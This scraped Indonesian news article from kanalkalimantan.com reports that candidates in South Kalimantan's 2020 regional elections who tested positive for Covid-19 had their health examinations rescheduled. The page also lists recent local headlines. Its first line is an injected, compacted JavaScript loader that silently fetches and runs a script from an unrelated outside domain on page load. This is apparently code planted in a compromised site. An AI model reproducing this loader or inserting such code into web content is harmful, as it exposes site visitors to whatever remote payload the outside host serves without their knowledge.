(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Dijadwal Ulang, 8 Balon Kepala Daerah Positif Covid-19 Tes Kesehatan 13-18 September


KANALKALIMANTAN.COM, BANJARMASIN – KPU Provinsi Kalimantan Selatan terima hasil pemeriksaan kesehatan bakal pasangan calon (Bapaslon) Pilkada di Kalsel, Jumat (11/9/2020). Hasil pemeriksaan diserahkan oleh RSUD Ulin Banjarmasin kepada KPU Provinsi Kalsel dan KPU kabupaten/kota yang menyelenggarakan Pilkada.

Menurut Komisioner KPU Provinsi Kalsel Divisi Teknis Penyelenggaraan, Dr Hatmiati, tahapan selanjutnya yang akan dilakukan yaitu menggelar rapat pleno, sekaligus rapat persiapan untuk penetapan pasangan calon pada 23 September 2020, dan pengundian nomor urut pasangan calon pada 24 September 2020 mendatang.

Disinggung adanya bakal calon kepala daerah yang terkonfirmasi positif Covid-19, Hatmiati menyebut pihaknya telah melakukan rapat koordinasi dengan RSUD Ulin Banjarmasin, Ikatan Dokter Indonesia (IDI) dan BNN Provinsi Kalsel.

“Untuk pemeriksaan kesehatan lanjutan bagi bakal calon kepala daerah yang terkonfirmasi positif Covid-19 itu, dijadwalkan pada tanggal 13-18 September mendatang.

Kemudian tanggal 21 September itu akan dilakukan penyerahan hasil pemeriksaan kesehatan bagi calon yang tertunda itu,” papar Hatmiati, Jumat (11/9/2020) siang.

Tujuannya agar bapaslon yang tertunda menjalani pemeriksaan kesehatan, dapat mengikuti penetapan pasangan calon yang akan dilangsungkan pada 23 September 2020 mendatang. Dengan catatan, syarat pencalonannya masih terpenuhi.

Bapaslon yang mengalami penundaan pemeriksaan kesehatan, imbuh Hatmiati, ada di 5 kabupaten dan kota di Kalsel yang menyelenggarakan Pilkada Serentak. Yaitu di Kabupaten Banjar, Kota Banjarmasin, Kota Banjarbaru, Kabupaten Tanah Bumbu dan Kabupaten Kotabaru.

“Kita sudah melakukan koordinasi dengan KPU kabupaten/kota dan tim kesehatan tadi,” lugasnya.

Hasil pemeriksaan sendiri tidak untuk diumumkan. Namun, untuk memenuhi syarat pencalonan bapaslon di Pilkada di Kalsel. “Nantinya kita sampaikan, misalnya yang bersangkutan memenuhi syarat, untuk melanjutkan pencalonan,” ucap Hatmiati.

Namun begitu, Hatmiati masih belum membuka hasil pemeriksaan. Karena, hasil pemeriksaan kesehatan sendiri akan diumumkan pada 13-14 September 2020 mendatang.

“Itu akan diberitakan kepada masyarakat. Jadi kami melakukan rapat pleno nanti, pada tanggal 13 September nanti kami akan mengundang bapaslon dan instansi terkait untuk menyampaikan hasilnya,” tandas Hatmiati. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

16 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

8 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

22 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

24 jam ago

This website uses cookies.